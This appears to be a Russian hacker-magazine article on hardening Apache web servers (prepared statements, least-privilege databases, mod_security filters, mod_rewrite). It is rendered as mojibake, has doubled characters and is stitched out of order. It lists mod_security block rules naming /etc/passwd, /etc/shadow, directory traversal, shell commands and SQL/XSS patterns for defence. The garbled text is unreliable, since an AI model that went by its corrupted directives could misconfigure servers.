ÏÎËÜÇÎÂÀÒÅËÜ ÏÐÈØÅË ÎÒÒÓÄÀ.

ÎÄÍÀÊÎ Ó ÂÇËÎÌÙÈÊÀ ÆÅ ÅÑÒÜ 
ÄÂÅ ÂÎÇÌÎÆÍÎÑÒÈ � ËÈÁÎ ÏÐÎÑÒÎ
ÈÑÏÎËÜÇÎÂÀÒÜ TELNET È Ñ ÅÃÎ 
ÏÎÌÎÙÜÞ ÑÔÎÐÌÈÐÎÂÀÒÜ ÇÀÏÐÎÑ,
ËÈÁÎ ÍÀÏÈÑÀÒÜ ÑÊÐÈÏÒ È ÈÑÏÎËÜÇÎ-
ÂÀÒÜ ÅÃÎ, ÂÅÄÜ ÇÍÀ×ÅÍÈÅ ÏÅÐÅÌÅÍ-
ÍÎÉ $_SERVER[«HTTP_REFERER»] 
ÔÎÐÌÈÐÓÅÒÑß ÍÀ ÑÒÎÐÎÍÅ ÊËÈÅÍÒÀ.
ÂÛÂÎÄ: ÒÀÊÀß ÇÀÙÈÒÀ ÑÏÎÑÎÁÍÀ 
ÎÒÏÓÃÍÓÒÜ ËÈØÜ ÍÅÏÐÎÔÅÑÑÈÎÍÀËÜ-
ÍÎÃÎ ÂÇËÎÌÙÈÊÀ, À ÏÐÎÔÅÑÑÈÎÍÀËÓ
ÎÍÀ ÏÐÎÑÒÎ ÄÎÑÒÀÂÈÒ ÍÅÁÎËÜØÎÅ
ÍÅÓÄÎÁÑÒÂÎ.



BBcode
$s = strip_tags($s, "<em><strong>");

Õî÷ó ñðàçó ïðåäóïðåäèòü, ÷òî ïîäîáíûé âàðèàíò �
íå ïàíàöåÿ: íåêîòîðûå ôîðóìû, èñïîëüçóþùèå
BBcode, áûëè óñïåøíî âçëîìàíû ïðè ïîìîùè XSS.

áàçà ääàííûõ: ññïåöèôèêà. Åñòü íåñêîëüêî ñî-
âåòîâ, êîòîðûå ìîæíî äàòü òåì, êòî àêòèâíî èñïîëü-
çóåò áàçû äàííûõ. Âî-ïåðâûõ, ìîæíî èñïîëüçîâàòü
ïðåïàðèðîâàííûå çàïðîñû, êîòîðûå ïîääåðæèâà-
þòñÿ áîëüøèíñòâîì áèáëèîòåê äëÿ ðàáîòû ñ áàçà-
ìè äàííûõ. Íà Ïåðëå ñîçäàíèå è èñïîëíåíèå òàêî-
ãî çàïðîñà âûãëÿäèò ïðèìåðíî òàê:

Perl
$st = $db->prepare("SELECT user_name

FROM users WHERE id = ?;");

$st->execute($email);

Ïåðâàÿ ñòðîêà ôîðìèðóåò çàïðîñ è ïîñûëàåò åãî íà
ñåðâåð, ãäå îí êîìïèëèðóåòñÿ. Îáðàòè âíèìàíèå íà
òîò ôàêò, ÷òî ïàðàìåòð id çàìåíåí çíàêîì âîïðîñà è
áóäåò ïîäñòàâëåí ïðè èñïîëíåíèè. Âòîðàÿ ñòðîêà
ïðîñòî ïåðåäàåò ïàðàìåòð äëÿ çàïðîñà, êîòîðûé óæå
íå ïàðñèòñÿ ñèêâåëîì, à ïðîñòî ñ÷èòàåòñÿ äàííûìè.

Ñîâåò íîìåð äâà áóäåò êàñàòüñÿ õðàíèìûõ ïðîöå-
äóð è òðèããåðîâ. Íà äàííûé ìîìåíò âñå ñîâðåìåí-
íûå ñåðâåðû áàç äàííûõ ïîääåðæèâàþò òàêóþ
ôóíêöèîíàëüíîñòü (MySQL íà÷èíàÿ ñ ïÿòîé âåð-
ñèè). Íàïîìíþ, ÷òî õðàíèìàÿ ïðîöåäóðà � ýòî
ñêîìïèëèðîâàííûé çàïðîñ íà ñåðâåðå, êîòîðîìó
ïðè èñïîëíåíèè ìîãóò ïåðåäàâàòüñÿ ïàðàìåòðû.
À òðèããåð � ýòî ñïåöèàëüíàÿ õðàíèìàÿ ïðîöåäóðà,
êîòîðàÿ âûïîëíÿåòñÿ ïðè îïðåäåëåííîì ñîáûòèè,
íàïðèìåð, ïðè óäàëåíèè çàïèñè èç ÁÄ. Èñïîëüçî-

âàíèå ýòèõ ìåõàíèçìîâ íå òîëüêî óâåëè÷èò ïðîèç-
âîäèòåëüíîñòü ïðèëîæåíèÿ, íî è ïîâûñèò åãî çà-
ùèùåííîñòü.

outro. Â ýòîé ñòàòüå ÿ ïðèâåë äîñòàòî÷íî ìíî-
ãî ñïîñîáîâ çàùèòû. ×òîáû âûáðàòü ïîäõîäÿùèé
íàáîð ìåòîäîâ, íåîáõîäèìî òùàòåëüíî ïîäóìàòü,
íàñêîëüêî ìîùíàÿ ñèñòåìà áåçîïàñíîñòè íóæíà òå-
áå íà ñàéòå, èíà÷å òâîè âûñîêèå ñòåíû íå ñìîæåò
ïðåîäîëåòü íå òîëüêî âçëîìùèê, íî è îáû÷íûé
ïîëüçîâàòåëü.
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string addslashes ( string str ) äîáàâëÿåò ê ñèìâîëàì àïîñòðîôà, êàâû÷êàì,
îáðàòíîìó ñëåøó è íóëåâîìó áàéòó ñëåø

string quotemeta ( string str ) äîáàâëÿåò ñëåø ê ñèìâîëàì . \ + * ? [ ̂  ] ( $ )
string htmlspecialchars ( string string ) ïåðåâîäèò â HTML-ñóùíîñòè àìïåðñàíä, êàâû÷êè,

àïîñòðîô, çíàêè «áîëüøå» è «ìåíüøå»
string htmlentities ( string string ) àíàëîã htmlspecialchars, íî èñïîëüçóåò 

HTML-ñóùíîñòè (ýíòèòèñû)
string mysql_real_escape_string ýêðàíèðóåò ñòðîêó äëÿ èñïîëüçîâàíèÿ 
( string unescaped_string ) â mysql_query
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×òîáû ìèêðîáîâ íå áûëî âî ðòó, èñïîëüçóþò çóáíóþ
ïàñòó. À ÷òî ïðèìåíèòü äëÿ çàùèòû îò «ìèêðîáîâ»
web-ñåðâåðà? Ïðîñòûì ðåøåíèåì, ê ñîæàëåíèþ,
íå îáîéòèñü: íåîáõîäèì öåëûé êîìïëåêñ ìåð, ïîç-
âîëÿþùèõ ïîñòðîèòü ýôôåêòèâíóþ çàùèòó. 

Ïî÷åìó èìåííî êîìïëåêñ? Äåëî â òîì, ÷òî äîë-
æíî áûòü íåñêîëüêî óðîâíåé çàùèòû. Îäèí óðîâåíü
âñåãäà ìîæåò äàòü ñáîé:

� ÌÎÃÓÒ ÍÀÉÒÈ ÄÛÐÓ;
� ÌÎÆÍÎ ÎØÈÁÈÒÜÑß Â ÍÀÑÒÐÎÉÊÀÕ;
� ÌÎÃÓÒ ÎÁÎÉÒÈ ÎÄÈÍ ÓÐÎÂÅÍÜ ÇÀÙÈÒÛ.

Â õîðîøî ïðîäóìàííîé ñèñòåìå, äàæå åñëè â ñöåíà-
ðèè áóäåò îøèáêà, õàêåð íå ñìîæåò äàëåêî ïðîäâè-
íóòüñÿ. Ïðàâèëüíàÿ íàñòðîéêà ñåðâåðà, ðàñïðåäå-
ëåíèå ïðàâ â áàçå äàííûõ, ïîñòîÿííûé ìîíèòîðèíã
è íåêîòîðûå äðóãèå äåéñòâèÿ ïîçâîëÿþò çàùèòèòü

ñåðâåð äàæå ïðè íàëè÷èè (à îíè êîãäà-íèáóäü îáÿ-
çàòåëüíî âñïëûâóò) îøèáîê â áåçîïàñíîñòè. 

Íàñòðîéêó ñåðâåðà ìîæíî óñëîâíî ðàçäåëèòü
íà äâå ÷àñòè: 

1  ÒÙÀÒÅËÜÍÎÅ ÊÎÍÔÈÃÓÐÈÐÎÂÀÍÈÅ

ÑÅÐÂÅÐÀ È ÎÒÊÐÛÒÛÕ ÑÅÐÂÈÑÎÂ.

2  ÓÑÒÀÍÎÂÊÀ ÄÎÏÎËÍÈÒÅËÜÍÎÃÎ 

ÑÎÔÒÀ ÄËß ÌÎÍÈÒÎÐÈÍÃÀ È ÑÎÇÄÀÍÈß

ÄÎÏÎËÍÈÒÅËÜÍÛÕ ÓÐÎÂÍÅÉ ÇÀÙÈÒÛ.

êîíôèãóðèðîâàíèå ññåðâåðà. Âñå íà÷èíàåòñÿ
ñ êîíôèãóðèðîâàíèÿ ñåðâåðà. Ïîñëå óñòàíîâêè ÎÑ

âñå ïàðàìåòðû óñòàíîâëåíû ïî óìîë÷àíèþ, òî åñòü
òàê, êàê ïîñ÷èòàë ïðàâèëüíûì óñòàíîâèòü èõ ðàçðà-
áîò÷èê äèñòðèáóòèâà. Òåáå æå íåîáõîäèìî ïðîñìîò-
ðåòü âñå ïàðàìåòðû: âêëþ÷èòü âñå, ÷òî íóæíî, è �
ñàìîå ãëàâíîå � çàïðåòèòü òî, ÷òî íå áóäåøü èñ-
ïîëüçîâàòü. Ëó÷øå ïðîñìàòðèâàòü àáñîëþòíî âñå
ïàðàìåòðû, îñîáåííî åñëè òû óñòàíàâëèâàåøü
Linux-ñåðâåð. Äåëî â òîì, ÷òî, â çàâèñèìîñòè
îò äèñòðèáóòèâà, íàñòðîéêè â êîíôèãóðàöèîííûõ
ôàéëàõ ìîãóò î÷åíü ñèëüíî îòëè÷àòüñÿ. Òû ìîæåøü
äóìàòü, ÷òî êàêîå-òî äåéñòâèå çàïðåùåíî, à ðàçðà-
áîò÷èê êîíêðåòíîãî äèñòðèáóòèâà èëè íîâîé âåðñèè
ÿäðà ïîñ÷èòàåò èíà÷å è èçìåíèò êîíôèãóðàöèþ.
Ñïëîøü è ðÿäîì âñòðå÷àåòñÿ, ÷òî â íîâûõ âåðñèÿõ

âîêðóã
çàïðåòîâ
Êàê çàùèòèòü âåá-ñåðâåð

ÍÀ 100% ÁÅÇÎÏÀÑÍÛÉ ÑÀÉÒ ÑÄÅËÀÒÜ ÑËÎÆÍÎ ÄÀÆÅ ÏÐÎÔÅÑÑÈÎÍÀËÓ. À ÅÑËÈ ×ÅÐÅÇ
ÄÛÐÓ Â ÊÀÊÎÌ-ÍÈÁÓÄÜ ÑÀÉÒÅ ÂÇËÎÌÀÞÒ ÂÅÑÜ ÑÅÐÂÅÐ, ÒÎ ÝÒÎ ÁÓÄÅÒ ÑÅÐÜÅÇÍÀß
ÏÐÎÁËÅÌÀ È ÓÄÀÐ ÏÎ ÏÐÅÑÒÈÆÓ ÕÎÑÒÅÐÀ. ×ÒÎ ÄÅËÀÒÜ ÕÎÑÒÈÍÃÎÂÛÌ ÊÎÌÏÀÍÈßÌ,
×ÒÎÁÛ ÇÀÙÈÒÈÒÜ ÑÅÁß È ÑÂÎÈÕ ÊËÈÅÍÒÎÂ? ÐÀÑÑÌÎÒÐÈÌ «ÑÐÅÄÑÒÂÀ ËÈ×ÍÎÉ
ÃÈÃÈÅÍÛ», ÊÎÒÎÐÛÅ ÑÏÀÑÓÒ ÎÒ ÍÅÇÀÏËÀÍÈÐÎÂÀÍÍÛÕ ÑÈÒÓÀÖÈÉ È ÏÎÂÛÑßÒ
ÈÌÌÓÍÈÒÅÒ Ê ÇËÎÓÌÛØËÅÍÍÈÊÀÌ 

Ôëåíîâ Ìèõàèë àka Horrific 
www.vr-online.ru 
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ÎÑ èëè ÿäðà êàêèå-òî ïàðàìåòðû ñòàíîâÿòñÿ ðåêî-
ìåíäóåìûìè ê èñïîëüçîâàíèþ, à êàêèå-òî, íàîáî-
ðîò, âûõîäÿò èç îáðàùåíèÿ. Íåîáõîäèìî îòñëåæè-
âàòü òåíäåíöèè è êîíòðîëèðîâàòü êîíôèãóðàöèþ. 

áàçà ääàííûõ. Ñëåäóþùèé óðîâåíü çàùèòû �
ïðàâà äîñòóïà ê áàçå äàííûõ è ôàéëîâîé ñèñòåìå.
Áàçà äàííûõ � îäíîâðåìåííî âàæíîå õðàíèëèùå
è îñíîâíàÿ ëàçåéêà äëÿ àòàêè SQL Injection ïðè ïðî-
íèêíîâåíèè íà ñåðâåð è ñáîðå èíôîðìàöèè. Ïîýòî-
ìó ñöåíàðèè íå äîëæíû ðàáîòàòü îò èìåíè ïðèâè-
ëåãèðîâàííîãî ïîëüçîâàòåëÿ. Ó÷åòíàÿ çàïèñü äîëæ-
íà èìåòü òîëüêî òå ïðàâà, êîòîðûå åé íåîáõîäèìû
äëÿ ðàáîòû ñöåíàðèÿ, è íè ãðàììà áîëüøå. 

Ëþáîé íåñàíêöèîíèðîâàííûé äîñòóï ê ñèñ-
òåìíîé èíôîðìàöèè äîëæåí çàïðåùàòüñÿ. Â 99%
ñëó÷àåâ ïðè ðàáîòå ñ MySQL-ñöåíàðèÿì íå íóæåí
äîñòóï ê ñèñòåìíîé áàçå MySQL, ãäå õðàíèòñÿ âñÿ
èíôîðìàöèÿ î ïîëüçîâàòåëÿõ, ïðàâàõ äîñòóïàõ è
îáúåêòàõ ñåðâåðà áàç äàííûõ. Äîñòóïà íå äîëæíî
áûòü íå òîëüêî íà çàïèñü èëè îáíîâëåíèå, íî è íà
ïðîñìîòð äàííûõ. Î÷åíü ÷àñòî äàæå ïðîñìîòð ñèñ-
òåìíûõ äàííûõ ìîæåò äàòü õàêåðó ìàññó âàæíîé
äëÿ áåçîïàñíîñòè èíôîðìàöèè. 

Ïðè ðàáîòå ñ áàçîé äàííûõ MS SQL Server
áîëüøèíñòâî ïðîãðàììèñòîâ èñïîëüçóþò óæå ñó-
ùåñòâóþùóþ ïî óìîë÷àíèþ ðîëü public. Â ýòîì è
çàêëþ÷àåòñÿ îøèáêà, âåäü ýòîé ðîëè äîñòóïíî ìíî-
ãîå. Ëó÷øåå ïðàâèëî � íèêîãäà íå èñïîëüçóé ãîòî-
âîå, à ñîçäàâàé ñîáñòâåííóþ ðîëü è ïîëüçîâàòåëÿ. 

ìîäóëè wweb-ññåðâåðà. Ñëåäóþùèé ýòàï îáåñ-
ïå÷åíèÿ áåçîïàñíîñòè � ìîäóëè äëÿ Apache.
Îíè ïîçâîëÿþò ïîñòðîèòü ýôôåêòèâíóþ çàùèòó îò
àòàê òèïà SQL Injection, XSS è ìíîãèõ äðóãèõ.
Íî ïðîñòî óñòàíîâèòü ìîäóëü � íå çíà÷èò ðåøèòü
âñå ïðîáëåìû. Íóæíî ãðàìîòíîå êîíôèãóðèðîâàíèå
è çàïðåò âñåãî, ÷òî ìîæåò íàíåñòè âðåä ñåðâåðó. 

mod_sequrity. Íåñìîòðÿ íà òî, ÷òî áåçîïàñ-
íîñòü web-ñåðâåðà â îñíîâíîì çàâèñèò îò ñöåíàðè-
åâ, êîòîðûå âûïîëíÿþòñÿ íà ñåðâåðå, è ïðîãðàììèñ-

òîâ, êîòîðûå ïèøóò ýòè ñöåíàðèè, åñòü âîçìîæíîñòü
çàùèòèòü ñåðâåð, íå îáðàùàÿ íà íèõ âíèìàíèÿ.
Â ýòîì ïîìîæåò áåñïëàòíûé ìîäóëü äëÿ Apache
mod_security. Ïðèíöèï ðàáîòû ìîäóëÿ ñõîæ ñ ñåòå-
âûì ýêðàíîì, êîòîðûé âñòðîåí â ÎÑ, òîëüêî â äàí-
íîì ñëó÷àå îí ñïåöèàëüíî ðàçðàáîòàí äëÿ ðàáîòû
ñ ïðîòîêîëîì HTTP. Ìîäóëü àíàëèçèðóåò çàïðîñû
ïîëüçîâàòåëåé è âûíîñèò ñâîå ðåøåíèå î âîçìîæ-
íîñòè ïðîïóñòèòü çàïðîñ ê web-ñåðâåðó èëè îòêàçå
íà îñíîâå ïðàâèë, êîòîðûå çàäàåò àäìèíèñòðàòîð.
Ïðàâèëà îïðåäåëÿþò, ÷òî ìîæåò áûòü â çàïðîñå,
à ÷òî íåò. 

Â çàïðîñàõ, êîòîðûå ïîëüçîâàòåëü îòïðàâëÿåò
íà ñåðâåð, ñîäåðæèòñÿ URL-àäðåñ, ñ êîòîðîãî íåîá-
õîäèìî âçÿòü äîêóìåíò èëè ôàéë. ×òî ìîæíî çàäàòü
â ïðàâèëàõ ìîäóëÿ, ÷òîáû ñåðâåð ñòàë áåçîïàñíåå?
Ðàññìîòðèì íåñêîëüêî íåñëîæíûõ ïðèìåðîâ.

1  Â ÑÒÐÎÊÅ URL ÍÅ ÄÎËÆÍÎ ÁÛÒÜ ÍÈ-
ÊÀÊÈÕ ÎÁÐÀÙÅÍÈÉ Ê ÔÀÉËÓ /ETC/PASS-
WD, À ÇÍÀ×ÈÒ, ÏÓÒÈ Ê ÝÒÎÌÓ ÔÀÉËÓ
ÍÅ ÄÎËÆÍÛ ÁÛÒÜ Â URL-ÀÄÐÅÑÅ.

2  ×ÅÐÅÇ URL ÍÅ ÄÎËÆÅÍ ÏÅÐÅÄÀÂÀÒÜ-
Ñß ÊÎÄ JAVASCRIPT, ÝÒÎ ÑÅÐÜÅÇÍÀß
ÎØÈÁÊÀ. ÒÀÊÈÅ ÂÅÙÈ ÍÓÆÍÎ ÏÅÐÅÄÀ-
ÂÀÒÜ ÌÅÒÎÄÎÌ POST. ÅÑËÈ ÇÀÏÐÅÒÈÒÜ
<SCRIPT> È ÏÐÎÈÇÂÎÄÍÛÅ, ÒÎ ÌÎÆÍÎ
ÎÁËÅÃ×ÈÒÜ ÑÅÁÅ ÆÈÇÍÜ. ÍÎ ÒÎËÜÊÎ
ÎÁËÅÃ×ÈÒÜ, ÒÀÊ ÊÀÊ ÅÑÒÜ ÊÓ×À ÏÐÎÈÇ-
ÂÎÄÍÛÕ, ÏËÞÑ ÊÎÄÈÐÎÂÀÍÈÅ ÑÎÄÅÐ-
ÆÈÌÎÃÎ ÑÒÐÎÊÈ. ÕÀÊÅÐ ÌÎÆÅÒ ÇÀÌÓ-
ÒÈÒÜ ÒÀÊÎÉ ÇÀÏÐÎÑ, ÊÎÒÎÐÛÉ ÎÁÎÉ-
ÄÅÒ ÔÈËÜÒÐÛ, ÍÎ ÓÑËÎÆÍÈÒÜ ÅÌÓ
ÆÈÇÍÜ ÒÛ ÏÐÎÑÒÎ ÎÁßÇÀÍ.

3  Â URL ÍÅ ÄÎËÆÍÎ ÁÛÒÜ ÎÄÈÍÀÐÍÎÉ
ÊÀÂÛ×ÊÈ, À ÂÑÅ ÏÀÐÀÌÅÒÐÛ, ÏÅÐÅÄÀ-
ÂÀÅÌÛÅ ÑÖÅÍÀÐÈÞ, ÏÐÈ ÈÑÏÎËÜÇÎÂÀ-
ÍÈÈ Â ÇÀÏÐÎÑÀÕ ÎÁßÇÀÒÅËÜÍÎ ÄÎËÆ-
ÍÛ ÁÛÒÜ ÇÀÊËÞ×ÅÍÛ Â ÎÄÈÍÀÐÍÛÅ
ÊÀÂÛ×ÊÈ. 

Ìîäóëü mod_security ïðîâåðÿåò íà îñíîâå çàäàííûõ
ôèëüòðîâ àäðåñ URL, è åñëè îí íàðóøàåò ïðàâèëà,
òî çàïðîñ îòêëîíÿåòñÿ. Ñàì ìîäóëü ìîæíî âçÿòü
ñ ñàéòà www.modsecurity.org. Ïîñëå óñòàíîâêè â ôàé-
ëå httpd.conf ìîæíî áóäåò èñïîëüçîâàòü äîïîëíè-
òåëüíûå äèðåêòèâû:

� SSEECCFFIILLTTEERREENNGGIINNEE OONN
ÂÊËÞ×ÈÒÜ ÐÅÆÈÌ ÔÈËÜÒÐÀÖÈÈ 
ÇÀÏÐÎÑÎÂ;

� SSEECCFFIILLTTEERRCCHHEECCKKUURRLLEENNCCOODDIINNGG OONN
ÏÐÎÂÅÐßÒÜ ÊÎÄÈÐÎÂÊÓ;

� SSEECCFFIILLTTEERRFFOORRCCEEBBYYTTEERRAANNGGEE 3322 112266
ÐÀÇÐÅØÀÒÜ ÈÑÏÎËÜÇÎÂÀÍÈÅ ÑÈÌÂÎ-
ËÎÂ Ñ ÊÎÄÀÌÈ ÒÎËÜÊÎ ÈÇ ÓÊÀÇÀÍÍÎ-
ÃÎ ÄÈÀÏÀÇÎÍÀ.

Ñèìâîëû, êîäû êîòîðûõ ìåíåå 32, ïðèíàäëåæàò ñëó-
æåáíûì ñèìâîëàì òèïà ïåðåâîäà êàðåòêè èëè êîíöà
ñòðîêè. Áîëüøèíñòâî èç ýòèõ ñèìâîëîâ íåâèäèìû, íî
äëÿ íèõ ñóùåñòâóþò êîäû, ÷òîáû ìîæíî áûëî îáðà-
áàòûâàòü íàæàòèÿ ñîîòâåòñòâóþùèõ êëàâèø íà êëà-
âèàòóðå. Òî åñòü õàêåð íå ìîæåò ââåñòè íåâèäèìûé
ñèìâîë â URL, íî âïîëíå ìîæåò ââåñòè åãî êîä. Íàï-
ðèìåð, ÷òîáû óêàçàòü ñèìâîë ñ êîäîì 13, íåîáõîäè-
ìî óêàçàòü â URL àäðåñå «%13». Ñèìâîëû ìåíåå 32
è áîëåå 126 ÿâëÿþòñÿ íåäîïóñòèìûìè äëÿ àäðåñà,
ïîýòîìó âïîëíå ëîãè÷íî èõ îòñåêàòü åùå äî îáðàáîò-
êè web-ñåðâåðîì.

� SSEECCAAUUDDIITTLLOOGG LLOOGGSS//AAUUDDIITT__LLOOGG
Ñ ÏÎÌÎÙÜÞ ÝÒÎÃÎ ÏÀÐÀÌÅÒÐÀ ÇÀÄÀ-
ÅÒÑß ÔÀÉË ÆÓÐÍÀËÀ, Â ÊÎÒÎÐÎÌ ÁÓ-
ÄÅÒ ÑÎÕÐÀÍßÒÜÑß ÈÍÔÎÐÌÀÖÈß
ÎÁ ÀÓÄÈÒÅ;

� SSEECCFFIILLTTEERRDDEEFFAAUULLTTAACCTTIIOONN
«DENY,LOG,STATUS:406» � ÏÀÐÀÌÅÒÐ
ÇÀÄÀÅÒ ÄÅÉÑÒÂÈÅ ÏÎ ÓÌÎË×À-
ÍÈÞ (Â ÄÀÍÍÎÌ ÑËÓ×ÀÅ ÓÊÀÇÀÍ
ÏÎ ÓÌÎË×ÀÍÈÞ ÇÀÏÐÅÒ � DENY);

� SSEECCFFIILLTTEERR XXXXXX RREEDDIIRREECCTT::
HTTP://WWW.WEBKREATOR.COM � ÅÑËÈ
ÔÈËÜÒÐ ÑÐÀÁÀÒÛÂÀÅÒ, ÒÎ ÏÎËÜÇÎÂÀ-
ÒÅËÜ ÏÅÐÅÀÄÐÅÑÓÅÒÑß ÍÀ ÑÀÉÒ
HTTP://WWW.WEBKREATOR.COM;

� SSEECCFFIILLTTEERR YYYYYY LLOOGG,,
EXEC:/HOME/APACHE/REPORT-AT-
TACK.PL � ÅÑËÈ ÔÈËÜÒÐ ÑÐÀÁÀÒÛÂÀÅÒ,
ÒÎ ÁÓÄÅÒ ÂÛÏÎËÍÅÍ ÑÖÅÍÀÐÈÉ
/HOME/APACHE/REPORT-ATTACK.PL;

� SSEECCFFIILLTTEERR //EETTCC//PPAASSSSWWOORRDD
Â ÇÀÏÐÎÑÅ ÏÎËÜÇÎÂÀÒÅËß ÍÅ ÄÎËÆÍÎ
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Jail óïðîùàåò ñîçäàíèå èíäèâèäóàëüíîãî îêðóæåíèÿ

Ìîäóëü mod_security



ÁÛÒÜ ÎÁÐÀÙÅÍÈß Ê ÔÀÉËÓ 
/ETC/PASSWD (ÒÀÊÈÌ ÆÅ ÎÁÐÀÇÎÌ 
ÑËÅÄÓÅÒ ÄÎÁÀÂÈÒÜ ÇÀÏÐÅÒ 
ÍÀ ÎÁÐÀÙÅÍÈÅ Ê ÔÀÉËÓ /ETC/SHADOW);

� SSEECCFFIILLTTEERR //BBIINN//LLSS

Â ÇÀÏÐÎÑÅ ÏÎËÜÇÎÂÀÒÅËß ÍÅ ÄÎËÆÍÎ
ÁÛÒÜ ÎÁÐÀÙÅÍÈß Ê ÏÐÎÃÐÀÌÌÀÌ
(Â ÄÀÍÍÎÌ ÑËÓ×ÀÅ ÇÀÏÐÅÙÀÅÒÑß 
ÊÎÌÀÍÄÀ LS, ÊÎÒÎÐÀß ÌÎÆÅÒ ÏÎÇÂÎ-
ËÈÒÜ ÕÀÊÅÐÓ ÓÂÈÄÅÒÜ ÑÎÄÅÐÆÈÌÎÅ
ÊÀÒÀËÎÃÎÂ, ÅÑËÈ Â ÑÖÅÍÀÐÈÈ ÅÑÒÜ
ÎØÈÁÊÀ), ÑÒÎÈÒ ÇÀÏÐÅÒÈÒÜ 
ÎÁÐÀÙÅÍÈß Ê ÒÀÊÈÌ ÊÎÌÀÍÄÀÌ ÊÀÊ
CAT, RM, CP, FTP È ÄÐÓÃÈÌ; 

� SSEECCFFIILLTTEERR ««\\..\\..//»»

ÊËÀÑÑÈ×ÅÑÊÀß ÀÒÀÊÀ, ÊÎÃÄÀ 
Â URL ÓÊÀÇÛÂÀÞÒÑß ÑÈÌÂÎËÛ 
ÒÎ×ÅÊ, ÏÎÝÒÎÌÓ ÈÕ ÒÀÌ ÁÛÒÜ
ÍÅ ÄÎËÆÍÎ;

� SSEECCFFIILLTTEERR ««DDEELLEETTEE[[[[::SSPPAACCEE::]]]]++FFRROOMM»»

ÇÀÏÐÅÒ ÒÅÊÑÒÀ DELETE � FROM, 
×ÒÎ ×ÀÙÅ ÂÑÅÃÎ ÈÑÏÎËÜÇÓÅÒÑß
Â SQL-ÇÀÏÐÎÑÀÕ ÄËß ÓÄÀËÅÍÈß 
ÄÀÍÍÛÕ.

Ïîìèìî ýòîãî ðåêîìåíäóåòñÿ óñòàíîâèòü ñëåäóþ-
ùèå òðè ôèëüòðà: 

1  SSEECCFFIILLTTEERR ««IINNSSEERRTT[[[[::SSPPAACCEE::]]]]++IINNTTOO»»
ÈÑÏÎËÜÇÓÅÒÑß Â SQL-ÇÀÏÐÎÑÀÕ
ÄËß ÄÎÁÀÂËÅÍÈß ÄÀÍÍÛÕ.

2  SSEECCFFIILLTTEERR ««SSEELLEECCTT..++FFRROOMM»»
ÈÑÏÎËÜÇÓÅÒÑß Â SQL-ÇÀÏÐÎÑÀÕ
ÄËß ×ÒÅÍÈß ÄÀÍÍÛÕ ÈÇ ÁÀÇÛ.

3  SSEECCFFIILLTTEERR ««<<((..||\\NN))++>>»» È SECFILTER
«<[[:SPACE:]]*SCRIPT» � ÏÎÇÂÎËßÅÒ 
ÇÀÙÈÒÈÒÜÑß ÎÒ XSS-ÀÒÀÊ.

mod_rewrite. Ýòî ìîäóëü, êîòîðûé ïîçâîëÿ-
åò ïðåîáðàçîâûâàòü URL-àäðåñà èç îäíîãî âèäà
â äðóãîé. Òû âèäåë áîëüøèå ïîðòàëû, â êîòîðûõ
âñå ñòðàíèöû èìåþò ðàñøèðåíèå .html è ïðè ýòîì
ñàéòû � äèíàìè÷åñêèå, ìèëëèîí ðàç. Íî âåäü
ïîñòðîèòü íà ñòàòè÷íûõ html-ñòðàíèöàõ áîëüøîé
äèíàìè÷åñêèé ïîðòàë íå ðåàëüíî! Íà ñàìîì äåëå,
ïîä ñòàòèêîé ïðÿ÷óòñÿ PHP èëè ëþáûå äðóãèå
ñöåíàðèè, ïðîñòî ïîëüçîâàòåëü âèäèò äûìîâóþ
çàâåñó, êîòîðàÿ øèôðóåò âíóòðåííîñòè èñïîëíå-
íèÿ. Ýòî äîñòèãàåòñÿ êàê ðàç ñ ïîìîùüþ ìîäóëÿ
mod_rewrite, êîòîðûé ïóñêàåò õàêåðó ïûëü â ãëà-

çà, à çàîäíî ïîçâîëÿåò ðåàëèçîâàòü î÷åíü ýô-
ôåêòèâíûå ôèëüòðû.

Mod_rewrite ìîæíî äîñòàòî÷íî ÷àñòî âñòðåòèòü
ó õîñòåðîâ, íî òî, ÷òî îí óñòàíîâëåí íà ñåðâåðå, åùå
íè î ÷åì íå ãîâîðèò. Íåîáõîäèìà êîíôèãóðàöèÿ, áåç
êîòîðîé ìîäóëü ðàáîòàòü íå áóäåò. Êîíôèãóðàöèÿ
ïðîèñõîäèò ÷åðåç ôàéë .htaccess. ×òîáû âêëþ÷èòü
ìîäóëü, ìîæíî äîáàâèòü ñëåäóþùèå òðè ñòðîêè: 

RewriteEngine on

Options +FollowSymlinks

RewriteBase /abc

Â ïåðâîé ñòðîêå ñ ïîìîùüþ óñòàíîâêè çíà÷åíèÿ äè-
ðåêòèâû RewriteEngine â On âêëþ÷àåì ñàì ìîäóëü.
Ñëåäóþùàÿ ñòðîêà âêëþ÷àåò îïöèþ FollowSymlinks,
êîòîðàÿ ðàçðåøàåò ïðåîáðàçîâàíèå ñèìâîëüíûõ
ññûëîê. Ñëåäóþùàÿ îïöèÿ, RewriteBase, ïîçâîëÿåò
èçìåíÿòü áàçîâûé URL. 

Äîïóñòèì, êîíôèãóðèðóåì web-äèðåêòîðèþ
/documents/article è, ñîîòâåòñòâåííî, â íåé ëåæèò íàø
.htaccess. Åñëè RewriteBase óñòàíîâèòü â /erunda, òî íà
web-ñòðàíèöå íåîáõîäèìî áóäåò èñïîëüçîâàòü URL
/erunda/filename.php. Ïîëó÷èâ òàêîé URL, ñåðâåð ïðå-
îáðàçóåò åãî â /documents/article/filename.php. Âîò è
ïåðâûé øàã ê áåçîïàñíîñòè � ñïðÿòàëè äèðåêòîðèþ
/documents/article, ãäå ðåàëüíî íàõîäèòñÿ ñöåíàðèé,
à ïîêàçàëè ïîëíóþ åðóíäó, òî åñòü /erunda. Íå çíàÿ ðå-
àëüíîãî ïîëîæåíèÿ ñöåíàðèåâ, õàêåðó áóäåò ñëîæíåå
îáîéòè çàùèòó, êîòîðóþ ìû áóäåì ìóòèòü äàëüøå. 

Ñàìîå âêóñíîå � ïðàâèëà ïðåîáðàçîâàíèé
òîãî, ÷òî áóäåò âèäåòü ïîëüçîâàòåëü. Äëÿ ýòîãî èñ-
ïîëüçóåòñÿ äèðåêòèâà RewriteRule. Ýòà äèðåêòèâà
èìååò ñëåäóþùèé âèä:

RewriteRule âèðòóàë ðåàë

Ïåðâûé ïàðàìåòð � ýòî âèðòóàë, òî åñòü òî, ÷òî
web-ñåðâåð ïîëó÷àåò â êà÷åñòâå URL (òî, ÷òî ïðåîá-
ðàçîâûâàåòñÿ). À ðåàë � ýòî ðåàëüíûé ôàéë è åãî
ïàðàìåòðû, â êîòîðûå íóæíî ïðåîáðàçîâàòü. 

×òîáû áûëî ïîíÿòíåå, ðàññìîòðèì ðàáîòó äè-
ðåêòèâû íà ïðèìåðå. Äîïóñòèì, ÷òî ó òåáÿ åñòü ñöå-
